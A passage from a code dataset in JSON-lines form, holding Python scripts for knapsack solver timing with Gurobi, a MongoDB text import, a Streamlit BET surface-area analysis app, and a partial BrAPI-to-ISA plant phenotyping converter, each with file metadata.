"call"}, {"api_name": "matplotlib.pyplot", "line_number": 486, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 490, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 490, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 491, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 491, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 492, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 492, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 493, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 493, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 494, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 494, "usage_type": "name"}, {"api_name": "timeit.default_timer", "line_number": 651, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 654, "usage_type": "call"}]} {"seq_id": "8424799", "text": "# coding: utf8\n\nimport numpy as np\nfrom gurobipy import *\nimport random\nimport time\nimport matplotlib.pyplot as plt\nimport timeit\n\nEPSILON = 0.01\nPRECISION = 10\n\ndef init_data(n, p):\n weight_max = 100\n objects = []\n for i in range(p):\n obj = [\"object_\" + str(i), random.randint(1,weight_max)]\n for j in range(n):\n crt = random.random()\n obj.append(crt)\n objects.append(obj)\n return objects \n\ndef getIdeal(objects, n):\n ideal = [max([row[i] for row in objects]) for i in range(2,n+2)]\n return ideal\n \ndef computeTchebycheffNorm(ideal, objects, epsilon, p):\n temp = [[abs(row[i+2] - ideal[i]) for i in range(len(ideal))] for row in objects]\n result = [max(temp[i]) + epsilon * sum(temp[i]) + 0.000001 for i in range(p) ]\n return result\n\n\ndef defineModel(objects, tcheb, p):\n model = Model()\n\n X = [model.addVar(vtype=GRB.BINARY, name=\"x%d\"% i) for i in range (p)]\n model.update()\n\n objective = quicksum([xi*1/si for xi, si in zip(X, tcheb)])\n model.setObjective(objective, GRB.MAXIMIZE)\n\n weights_sum = quicksum([xi*wi[1] for xi, wi in zip(X, objects)])\n max_weight = 0.5*sum([wi[1] for wi in objects])\n model.addConstr(weights_sum, GRB.LESS_EQUAL, max_weight, name=\"weightsSum<=maxWeight\")\n\n model.update()\n model.setParam('OutputFlag', False )\t\n model.write(\"KS.lp\")\n return model\n\ndef solveModel(model):\n t1 = time.time()\n model.optimize()\n t2 = time.time()\n model.write(\"KS.sol\")\n #print \"X = \", [v.x for v in model.getVars()]\n return t2 - t1\n\ndef main():\n\n n_steps = range(5,51,5)\n p_steps = range(25,1001,25)\n time_tab = np.zeros([len(p_steps),len(n_steps)])\n\n results = np.zeros((len(p_steps), len(n_steps)))\n\n for i,p in enumerate(p_steps):\n for j,n in enumerate(n_steps):\n objects = init_data(n, p)\n ideal = getIdeal(objects, n)\n tcheb = computeTchebycheffNorm(ideal, objects, EPSILON, p)\n model = defineModel(objects, tcheb, p)\n results[i][j] = timeit.timeit(model.optimize, number = PRECISION)/PRECISION\n\n print(\"tableau de moyennes des temps (10 executions) selon p et n\")\n print(results)\n #plt.plot(n_steps, results[-1])\n plt.plot(p_steps, results[:,-1])\n plt.ylabel('time (s)')\n plt.xlabel('values of p')\n plt.title('time for n = 25')\n plt.grid(True)\n\nmain()\n", "sub_path": "question3.py", "file_name": "question3.py", "file_ext": "py", "file_size_in_byte": 2399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.randint", "line_number": 17, "usage_type": "call"}, {"api_name": "random.random", "line_number": 19, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "timeit.timeit", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}]} {"seq_id": "340751390", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport pymongo\n\ndb = pymongo.Connection()\npypair = db.pypair\n\ncollection_srnt = pypair.srnt\ncollection_d892 = pypair.d892\n\nfilename = '/home/roland/set_alpha/12400316-2009-11-05-00001-SRNT.txt'\n\nlines = open(filename).readlines()\nentries = []\nentry = {}\nfor line in lines:\n if line.rfind(':') > -1:\n line = line.split(':')\n entry[line[0]] = ':'.join(line[1:]).strip('\\n')\n else:\n if len(entry) > 0:\n entries.append(entry)\n entry = {}\n\ncollection_srnt.insert({\n '_id': filename.replace('-SRNT.txt', ''),\n 'queries': entries\n }\n)\n\n", "sub_path": "mongo.py", "file_name": "mongo.py", "file_ext": "py", "file_size_in_byte": 629, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pymongo.Connection", "line_number": 5, "usage_type": "call"}]} {"seq_id": "448331329", "text": "from static import texts\nimport beatmap as bt\nimport streamlit as st\n\nst.beta_set_page_config(\n page_title=\"BEaTmap\",\n page_icon=None,\n layout=\"centered\",\n initial_sidebar_state=\"auto\",\n)\n\nfrom matplotlib import rcParams\nfrom static.stateful import _get_state\nfrom static import altair_plots as plots\n\n\nst.set_option(\"deprecation.showfileUploaderEncoding\", False)\nrcParams[\"axes.formatter.limits\"] = 0, 0\nrcParams[\"font.sans-serif\"] = [\n \"Lucida Sans Unicode\",\n \"Lucida Grande\",\n \"DejaVu Sans\",\n \"Tahoma\",\n]\n\n\ndef main():\n state = _get_state()\n pages = {\n \"Upload Data\": page_upload,\n \"BEaTmap Analysis\": page_beatmap,\n \"Supplemental Analysis\": page_supplemental,\n \"About BEaTmap\": page_about,\n }\n\n st.sidebar.title(\":maple_leaf: BEaTmap\")\n st.sidebar.markdown(texts.intro_sidebar)\n page = st.sidebar.radio(\"Select your page\", tuple(pages.keys()))\n\n # Display the selected page with the session state\n pages[page](state)\n # Mandatory to avoid rollbacks w/ widgets must be called at the end the app\n state.sync()\n\n\ndef page_upload(state):\n r\"\"\"Upload Isotherm Data\"\"\"\n\n st.markdown(\"# :duck: Getting started\")\n st.markdown(texts.getting_started)\n\n st.markdown(\"## Upload Isotherm Data\")\n st.markdown(texts.upload_instruction)\n state.uploaded_file = st.file_uploader(label=\"Upload a CSV file\", type=\"csv\")\n upload_success = st.empty()\n st.markdown(\"### Adsorbate area\")\n st.markdown(texts.area_instruction)\n state.a_o = st.number_input(\n label=\"Enter adsorbate cross-sectional area (Angstrom per molecule)\",\n value=state.a_o or 16.2,\n )\n if state.uploaded_file and state.a_o:\n upload_success.success(\"File uploaded!\")\n # Fetch and analyze the uploaded data\n state.isotherm_data = fetch_isotherm_data(state.uploaded_file, state.a_o)\n state.bet_results = fetch_bet_results(state.isotherm_data)\n # Plot isotherm data\n plots.plot_isotherm_data(state.isotherm_data)\n\n\ndef page_beatmap(state):\n st.markdown(\"# :maple_leaf: BEaTmap Analysis\")\n st.markdown(\"## BET model assumptions\")\n try:\n state.check_values = [value for value in state.checks]\n except TypeError:\n state.check_values = [True] * 5\n state.checks = [\n st.checkbox(label=texts.checks[i], value=state.check_values[i])\n for i in range(5)\n ]\n state.points = st.slider(\n label=\"Minimum number of points\", min_value=2, max_value=27, value=state.points\n )\n\n # Bypass calculations if no data is found\n if not state.bet_results:\n st.error(\"You need to upload isotherm data first!\")\n return\n state.mask_results = bt.core.rouq_mask(\n intercept=state.bet_results.intercept,\n iso_df=state.bet_results.iso_df,\n nm=state.bet_results.nm,\n slope=state.bet_results.slope,\n check1=state.checks[0],\n check2=state.checks[1],\n check3=state.checks[2],\n check4=state.checks[3],\n check5=state.checks[4],\n points=state.points,\n )\n\n if state.mask_results.mask.all():\n st.error(\n \"No valid relative pressure ranges. Adjust settings to proceed with\"\n + \" analysis.\"\n )\n return\n\n # st.markdown(r\"BET Specific Surface Area \\[$\\frac{m^2}{g}$\\]\")\n st.markdown(r\"## Specific surface area heatmap\")\n st.markdown(texts.ssa_instruction)\n plots.plot_ssa_heatmap(state.bet_results, state.mask_results)\n\n # to know if bet has been performed\n state.bet_analysis = True\n\n\ndef page_supplemental(state):\n r\"\"\"Supplemental Analysis\"\"\"\n st.markdown(\"# :chart_with_upwards_trend: Supplemental Analysis\")\n\n # Bypass calculations if no analysis is found\n if not state.bet_analysis:\n st.error(\"You need to run BET Analysis first!\")\n return\n # Bypass calculations if no data is found\n if not state.bet_results:\n st.error(\"You need to upload isotherm data first!\")\n return\n\n if state.mask_results.mask.all():\n st.error(\n \"No valid relative pressure ranges. Adjust settings to proceede with\"\n + \" analysis.\"\n )\n return\n\n st.markdown(\"## BET calculation criteria\")\n options = [\n \"Minimum error\",\n \"Maximum data points\",\n \"Minimum Specific Surface Area\",\n \"Maximum Specific Surface Area\",\n ]\n state.criterion = st.radio(\n label=\"Select the BET calculation criteria:\",\n options=options,\n index=options.index(state.criterion) if state.criterion else 0,\n )\n if state.criterion == \"Minimum error\":\n state.criterion_str = \"error\"\n if state.criterion == \"Maximum data points\":\n state.criterion_str = \"points\"\n if state.criterion == \"Minimum Specific Surface Area\":\n state.criterion_str = \"min\"\n if state.criterion == \"Maximum Specific Surface Area\":\n state.criterion_str = \"max\"\n\n ssa_answer = bt.core.ssa_answer(\n state.bet_results, state.mask_results, state.criterion_str\n )\n st.success(f\"The specific surface area value is **{ssa_answer:.2f}** $m^2/g$\")\n\n st.markdown(r\"## BET plot\")\n st.markdown(texts.bet_plot_instruction)\n bet_linreg_table = plots.plot_bet(state.bet_results, state.mask_results, ssa_answer)\n bet_linreg_table.set_index(\" \", inplace=True)\n st.write(bet_linreg_table)\n ssa_table, c_table, ssa_ssd, c_std = bt.vis.dataframe_tables(\n state.bet_results, state.mask_results\n )\n ssa_table.set_index(\" \", inplace=True)\n c_table.set_index(\" \", inplace=True)\n st.markdown(\"## Specific surface area\")\n st.success(\n f\"Standard deviation of specific surface area: **{ssa_ssd:.3f}** $m^2/g$\"\n )\n st.write(ssa_table)\n st.markdown(\"## BET constant (C)\")\n st.success(f\"Standard deviation of BET constant (C): **{c_std:.3f}**\")\n st.write(c_table)\n st.markdown(\"## Isotherm combination plot\")\n st.markdown(texts.iso_combo_instruction)\n plots.plot_isotherm_combo(state.bet_results, state.mask_results, ssa_answer)\n st.markdown(\"## BET minimum and maxium error plot\")\n st.markdown(texts.bet_combo_instruction)\n linreg_table = plots.plot_bet_combo(state.bet_results, state.mask_results)\n linreg_table.set_index(\" \", inplace=True)\n st.write(linreg_table)\n st.markdown(\"## Error heatmap\")\n st.markdown(texts.err_instruction)\n plots.plot_err_heatmap(state.bet_results, state.mask_results)\n\n\ndef page_about(state):\n r\"\"\"BEaTmap quick summary\"\"\"\n st.markdown(\"# :maple_leaf: About BEaTmap\")\n st.markdown(texts.intro)\n st.markdown(\"# :books: References\")\n st.markdown(texts.references)\n\n\ndef page_references(state):\n r\"\"\"References used in BEaTmap\"\"\"\n st.markdown(\"# :books: References\")\n st.markdown(texts.references)\n\n\n@st.cache(allow_output_mutation=True)\ndef fetch_isotherm_data(uploaded_file, a_o):\n r\"\"\"Extracts and returns isotherm data given a .csv file (or buffer)\"\"\"\n isotherm_data = bt.io.import_data(uploaded_file, info=\"test\", a_o=a_o)\n return isotherm_data\n\n\n@st.cache(allow_output_mutation=True)\ndef fetch_bet_results(isotherm_data):\n r\"\"\"Analyzes isotherm data and returns results as a named tuple\"\"\"\n bet_results = bt.core.bet(\n isotherm_data.iso_df, isotherm_data.a_o, isotherm_data.info\n )\n return bet_results\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "streamlit_app.py", "file_name": "streamlit_app.py", "file_ext": "py", "file_size_in_byte": 7411, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "streamlit.beta_set_page_config", "line_number": 5, "usage_type": "call"}, {"api_name": "streamlit.set_option", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.rcParams", "line_number": 19, "usage_type": "name"}, {"api_name": "static.stateful._get_state", "line_number": 28, "usage_type": "call"}, {"api_name": "streamlit.sidebar.title", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 36, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 37, "usage_type": "attribute"}, {"api_name": "static.texts.intro_sidebar", "line_number": 37, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 37, "usage_type": "name"}, {"api_name": "streamlit.sidebar.radio", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 38, "usage_type": "attribute"}, {"api_name": "streamlit.markdown", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 50, "usage_type": "call"}, {"api_name": "static.texts.getting_started", "line_number": 50, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 50, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 53, "usage_type": "call"}, {"api_name": "static.texts.upload_instruction", "line_number": 53, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 53, "usage_type": "name"}, {"api_name": "streamlit.file_uploader", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.empty", "line_number": 55, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 56, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 57, "usage_type": "call"}, {"api_name": "static.texts.area_instruction", "line_number": 57, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 57, "usage_type": "name"}, {"api_name": "streamlit.number_input", "line_number": 58, "usage_type": "call"}, {"api_name": "static.altair_plots.plot_isotherm_data", "line_number": 68, "usage_type": "call"}, {"api_name": "static.altair_plots", "line_number": 68, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 72, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 79, "usage_type": "call"}, {"api_name": "static.texts.checks", "line_number": 79, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 79, "usage_type": "name"}, {"api_name": "streamlit.slider", "line_number": 82, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 88, "usage_type": "call"}, {"api_name": "beatmap.core.rouq_mask", "line_number": 90, "usage_type": "call"}, {"api_name": "beatmap.core", "line_number": 90, "usage_type": "attribute"}, {"api_name": "streamlit.error", "line_number": 104, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 111, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 112, "usage_type": "call"}, {"api_name": "static.texts.ssa_instruction", "line_number": 112, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 112, "usage_type": "name"}, {"api_name": "static.altair_plots.plot_ssa_heatmap", "line_number": 113, "usage_type": "call"}, {"api_name": "static.altair_plots", "line_number": 113, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 121, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 125, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 129, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 133, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 139, "usage_type": "call"}, {"api_name": "streamlit.radio", "line_number": 146, "usage_type": "call"}, {"api_name": "beatmap.core.ssa_answer", "line_number": 160, "usage_type": "call"}, {"api_name": "beatmap.core", "line_number": 160, "usage_type": "attribute"}, {"api_name": "streamlit.success", "line_number": 163, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 165, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 166, "usage_type": "call"}, {"api_name": "static.texts.bet_plot_instruction", "line_number": 166, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 166, "usage_type": "name"}, {"api_name": "static.altair_plots.plot_bet", "line_number": 167, "usage_type": "call"}, {"api_name": "static.altair_plots", "line_number": 167, "usage_type": "name"}, {"api_name": "streamlit.write", "line_number": 169, "usage_type": "call"}, {"api_name": "beatmap.vis.dataframe_tables", "line_number": 170, "usage_type": "call"}, {"api_name": "beatmap.vis", "line_number": 170, "usage_type": "attribute"}, {"api_name": "streamlit.markdown", "line_number": 175, "usage_type": "call"}, {"api_name": "streamlit.success", "line_number": 176, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 179, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 180, "usage_type": "call"}, {"api_name": "streamlit.success", "line_number": 181, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 182, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 183, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 184, "usage_type": "call"}, {"api_name": "static.texts.iso_combo_instruction", "line_number": 184, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 184, "usage_type": "name"}, {"api_name": "static.altair_plots.plot_isotherm_combo", "line_number": 185, "usage_type": "call"}, {"api_name": "static.altair_plots", "line_number": 185, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 186, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 187, "usage_type": "call"}, {"api_name": "static.texts.bet_combo_instruction", "line_number": 187, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 187, "usage_type": "name"}, {"api_name": "static.altair_plots.plot_bet_combo", "line_number": 188, "usage_type": "call"}, {"api_name": "static.altair_plots", "line_number": 188, "usage_type": "name"}, {"api_name": "streamlit.write", "line_number": 190, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 191, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 192, "usage_type": "call"}, {"api_name": "static.texts.err_instruction", "line_number": 192, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 192, "usage_type": "name"}, {"api_name": "static.altair_plots.plot_err_heatmap", "line_number": 193, "usage_type": "call"}, {"api_name": "static.altair_plots", "line_number": 193, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 198, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 199, "usage_type": "call"}, {"api_name": "static.texts.intro", "line_number": 199, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 199, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 200, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 201, "usage_type": "call"}, {"api_name": "static.texts.references", "line_number": 201, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 201, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 206, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 207, "usage_type": "call"}, {"api_name": "static.texts.references", "line_number": 207, "usage_type": "attribute"}, {"api_name": "static.texts", "line_number": 207, "usage_type": "name"}, {"api_name": "beatmap.io.import_data", "line_number": 213, "usage_type": "call"}, {"api_name": "beatmap.io", "line_number": 213, "usage_type": "attribute"}, {"api_name": "streamlit.cache", "line_number": 210, "usage_type": "call"}, {"api_name": "beatmap.core.bet", "line_number": 220, "usage_type": "call"}, {"api_name": "beatmap.core", "line_number": 220, "usage_type": "attribute"}, {"api_name": "streamlit.cache", "line_number": 217, "usage_type": "call"}]} {"seq_id": "103705016", "text": "from isatools.model import Investigation, OntologyAnnotation, OntologySource, Assay, Study, Characteristic, Source, \\\n Sample, Comment\n\nimport copy\nfrom collections import defaultdict\nfrom brapi_client import BrapiClient\n\n\nclass BrapiToIsaConverter:\n \"\"\" Converter json coming out of the BRAPI to ISA object\n\n ..warning: you may want to tweak this class name\n ..warning: some methods may never be called by the main:\n - create_isa_investigation()\n - create_germplasm_chars()\n - create_materials()\n \"\"\"\n\n def __init__(self, logger, endpoint):\n self.logger = logger\n self.endpoint = endpoint\n self._brapi_client = BrapiClient(self.endpoint, self.logger)\n\n # _brapi_client\n #\n # def get_brapi_client(self) -> BrapiClient:\n # if self._brapi_client is None:\n #\n # return self._brapi_client\n def obtain_brapi_obs_levels_and_var(self, brapi_study_id):\n # because not every obs level has the same variables, and this is not yet supported by brapi to filter on /\n # every observation will be checked for \n obs_level_in_study = defaultdict(set)\n obs_levels = defaultdict(set)\n for ou in self._brapi_client.get_study_observation_units(brapi_study_id):\n for obs in ou['observations']:\n if ou['observationLevel']:\n obs_level_in_study[ou['observationLevel']].add(obs['observationVariableName'])\n if 'observationLevels' in ou.keys() and ou['observationLevels']:\n for obslvl in ou['observationLevels'].split(\",\"):\n a,b = obslvl.split(\":\")\n obs_levels[ou['observationLevel']].add(a)\n else:\n obs_level_in_study['study'].add(obs['observationVariableName'])\n \n\n self.logger.info(\"Observation Levels in study: \" + \",\".join(obs_level_in_study.keys()))\n return obs_level_in_study, obs_levels\n\n def create_germplasm_chars(self, germplasm):\n \"\"\"\" Given a BRAPI Germplasm ID, retrieve the list of all attributes from BRAPI and returns a list of ISA\n characteristics using MIAPPE tags for compliance + X-check against ISAconfiguration\"\"\"\n # TODO: switch BRAPI tags to MIAPPE Tags\n\n returned_characteristics = []\n\n germplasm_id = germplasm['germplasmDbId']\n all_germplasm_attributes = self._brapi_client.get_germplasm(germplasm_id)\n\n mapping_dictionnary = {\n \"accessionNumber\": \"Material Source ID\",\n \"commonCropName\": \"commonCropName\",\n \"genus\": \"Genus\",\n \"species\": \"Species\",\n \"subtaxa\": \"Infraspecific Name\",\n \"taxonIds\": [\"Organism\", \"sourceName\", \"taxonId\"]\n\n }\n\n for key in all_germplasm_attributes.keys():\n\n if key in mapping_dictionnary.keys():\n if isinstance(mapping_dictionnary[key], str):\n c = self.create_isa_characteristic(mapping_dictionnary[key], str(all_germplasm_attributes[key]))\n else:\n if all_germplasm_attributes[key] and len(all_germplasm_attributes[key]) > 0:\n taxinfo = []\n for item in range(len(all_germplasm_attributes[key])):\n taxinfo.append(all_germplasm_attributes[key][item][mapping_dictionnary[key][1]] + \":\" +\n all_germplasm_attributes[key][item][mapping_dictionnary[key][2]])\n ontovalue = \";\".join(taxinfo)\n c = self.create_isa_characteristic(mapping_dictionnary[key][0], ontovalue)\n if c not in returned_characteristics:\n returned_characteristics.append(c)\n\n elif key == \"donors\":\n miappeKey = \"Donors\"\n donors = []\n for item in range(len(all_germplasm_attributes[\"donors\"])):\n donors.append(all_germplasm_attributes[key][item][\"donorInstituteCode\"] + \":\" +\n all_germplasm_attributes[key][item][\"donorAccessionNumber\"])\n ontovalue = \";\".join(donors)\n c = self.create_isa_characteristic(miappeKey, ontovalue)\n\n elif key == \"synonyms\":\n if isinstance(all_germplasm_attributes[key], list):\n ontovalue = \";\".join(all_germplasm_attributes[key])\n c = self.create_isa_characteristic(key, ontovalue)\n\n else:\n c = self.create_isa_characteristic(key, str(all_germplasm_attributes[key]))\n\n if c not in returned_characteristics:\n returned_characteristics.append(c)\n\n return returned_characteristics\n\n # def create_isa_investigations(self, endpoint):\n # \"\"\"Create ISA investigations from a BrAPI endpoint, starting from the trials information\"\"\"\n\n # endpoint_investigations = []\n # for this_trial in self._brapi_client.get_brapi_trials():\n # this_investigation = Investigation()\n # this_investigation.identifier = this_trial['trialDbId']\n # this_investigation.title = this_trial['trialName']\n # # investigation.comments.append(Comment(\"Investigation Start Date\", trial['startDate']))\n # # investigation.comments.append(Comment(\"Investigation End Date\", trial['endDate']))\n # # investigation.comments.append(Comment(\"Active\", trial['active']))\n\n # for this_study in this_trial['studies']:\n # this_study = self.create_isa_study(this_study['studyDbId'])\n # this_investigation.studies.append(this_study)\n # endpoint_investigations.append(this_investigation)\n # return endpoint_investigations\n\n # def create_materials(self, endpoint):\n # \"\"\"Create ISA studies from a BrAPI endpoint, starting from the studies, where there is no trial information.\"\"\"\n\n # for phenotype in self._brapi_client.get_phenotypes():\n # print(phenotype)\n # # for now, creating the sample name combining studyDbId and potDbId -\n # # eventually this should be observationUnitDbId\n # sample_name = phenotype['studyDbId'] + \"_\" + phenotype['plotNumber']\n # this_sample = Sample(name=sample_name)\n # that_source = Source(phenotype['germplasmName'], phenotype['germplasmDbId'])\n # this_sample.derives_from = that_source\n\n\n\n # for level in obs_levels_in_study:\n # oref_mt = OntologySource(name=\"OBI\", description=\"Ontology for Biomedical Investigation\")\n # oa_mt = OntologyAnnotation(term=\"phenotyping\", term_accession=\"\", term_source=oref_mt)\n # oref_tt = OntologySource(name=\"OBI\", description=\"Ontology for Biomedical Investigation\")\n # oa_tt = OntologyAnnotation(term=\"multimodal technique\", term_accession=\"\", term_source=oref_tt)\n # isa_assay_file = \"a_\" + str(brapi_study_id) + \"_\" + level + \".txt\"\n # new_assay = Assay(measurement_type=oa_mt, technology_type=oa_tt, filename=isa_assay_file)\n # isa_study.assays.append(new_assay)\n # if oref_mt not in isa_investigation.ontology_source_references:\n # isa_investigation.ontology_source_references.append(oref_mt)\n # if oref_tt not in isa_investigation.ontology_source_references:\n # isa_investigation.ontology_source_references.append(oref_tt)\n\n # return isa_study, isa_investigation\n \n\n def create_isa_study(self, brapi_study_id, investigation, obs_levels_in_study):\n \"\"\"Returns an ISA study given a BrAPI endpoints and a BrAPI study identifier.\"\"\"\n\n brapi_study = self._brapi_client.get_study(brapi_study_id)\n\n this_study = Study(filename=\"s_\" + str(brapi_study_id) + \".txt\")\n this_study.identifier = brapi_study['studyDbId']\n\n if 'name' in brapi_study:\n this_study.title = brapi_study['name']\n elif 'studyName' in brapi_study:\n this_study.title = brapi_study['studyName']\n\n this_study.comments.append(Comment(name=\"Study Start Date\", value=brapi_study['startDate']))\n this_study.comments.append(Comment(name=\"Study End Date\", value=brapi_study['endDate']))\n\n if brapi_study['location'] is not None and brapi_study['location']['name'] is not None:\n this_study.comments.append(Comment(name=\"Experimental site name\",\n value=brapi_study['location']['name']))\n else:\n this_study.comments.append(Comment(name=\"Experimental site name\", value=\"\"))\n\n if brapi_study['location'] is not None and brapi_study['location']['countryCode'] is not None:\n this_study.comments.append(Comment(name=\"geographical location (country)\",\n value=brapi_study['location']['countryCode']))\n\n elif brapi_study['location'] is not None and brapi_study['location']['countryName'] is not None:\n this_study.comments.append(Comment(name=\"geographical location (country)\",\n value=brapi_study['location']['countryName']))\n else:\n this_study.comments.append(Comment(name=\"geographical location (country)\", value=\"\"))\n\n if brapi_study['location'] is not None and brapi_study['location']['latitude'] is not None:\n this_study.comments.append(Comment(name=\"geographical location (latitude)\",\n value=brapi_study['location']['latitude']))\n else:\n this_study.comments.append(Comment(name=\"geographical location (latitude)\", value=\"\"))\n\n if brapi_study['location'] is not None and brapi_study['location']['longitude'] is not None:\n this_study.comments.append(Comment(name=\"geographical location (longitude)\",\n value=brapi_study['location']['longitude']))\n else:\n this_study.comments.append(Comment(name=\"geographical location (longitude)\", value=\"\"))\n\n if brapi_study['location'] is not None and brapi_study['location']['altitude'] is not None:\n this_study.comments.append(Comment(name=\"geographical location (altitude)\",\n value=brapi_study['location']['altitude']))\n else:\n this_study.comments.append(Comment(name=\"geographical location (altitude)\", value=\"\"))\n\n # TODO: look at the brapi call https://app.swaggerhub.com/apis/PlantBreedingAPI/BrAPI/1.2#/Studies/get_studies__studyDbId__layout\n # mapping into ISA Comment [Observation unit level hierarchy] MIAPPE DM24 [BRAPI mapping: Layout/obvservationLevel || Layout/observationReplicate ||Layout/blockNumber\n\n # TODO: \t\t<field header=\"Comment[Map of experimental design]\" data-type=\"String\" is-file-field=\"true\" is-multiple-value=\"false\" is-required=\"false\" is-hidden=\"false\" is-forced-ontology=\"false\" section=\"INVESTIGATION\">\n # \t\t\t<description>\n # \t\t\t\t<![CDATA[Representation of the experimental design, a GIS or excel file. BRAPI mapping: if Study/dataLinks/@type=\"experimental design map\", then Study/dataLinks/@url || @name ]]>\n # \t\t\t</description>\n # \t\t\t<default-value/>\n # \t\t</field>\n\n study_design = brapi_study['studyType']\n oa_st_design = OntologyAnnotation(term=study_design)\n this_study.design_descriptors = [oa_st_design]\n\n\n # Declaring as many ISA Assay Types as there are BRAPI Observation Levels\n ###########################################################################\n for level in obs_levels_in_study:\n\n oref_mt = OntologySource(name=\"OBI\", description=\"Ontology for Biomedical Investigation\")\n oa_mt = OntologyAnnotation(term=\"phenotyping\", term_accession=\"\", term_source=oref_mt)\n oref_tt = OntologySource(name=\"OBI\", description=\"Ontology for Biomedical Investigation\")\n oa_tt = OntologyAnnotation(term=level + \" multimodal technique\", term_accession=\"\", term_source=oref_tt)\n isa_assay_file = \"a_\" + str(brapi_study_id) + \"_\" + level + \".txt\"\n new_assay = Assay(measurement_type=oa_mt, technology_type=oa_tt, filename=isa_assay_file)\n\n this_study.assays.append(new_assay)\n\n if oref_mt not in investigation.ontology_source_references:\n investigation.ontology_source_references.append(oref_mt)\n if oref_tt not in investigation.ontology_source_references:\n investigation.ontology_source_references.append(oref_tt)\n # oref_tt = OntologySource(name=\"OBI\", description=\"Ontology for Biomedical Investigation\")\n # oa_tt = 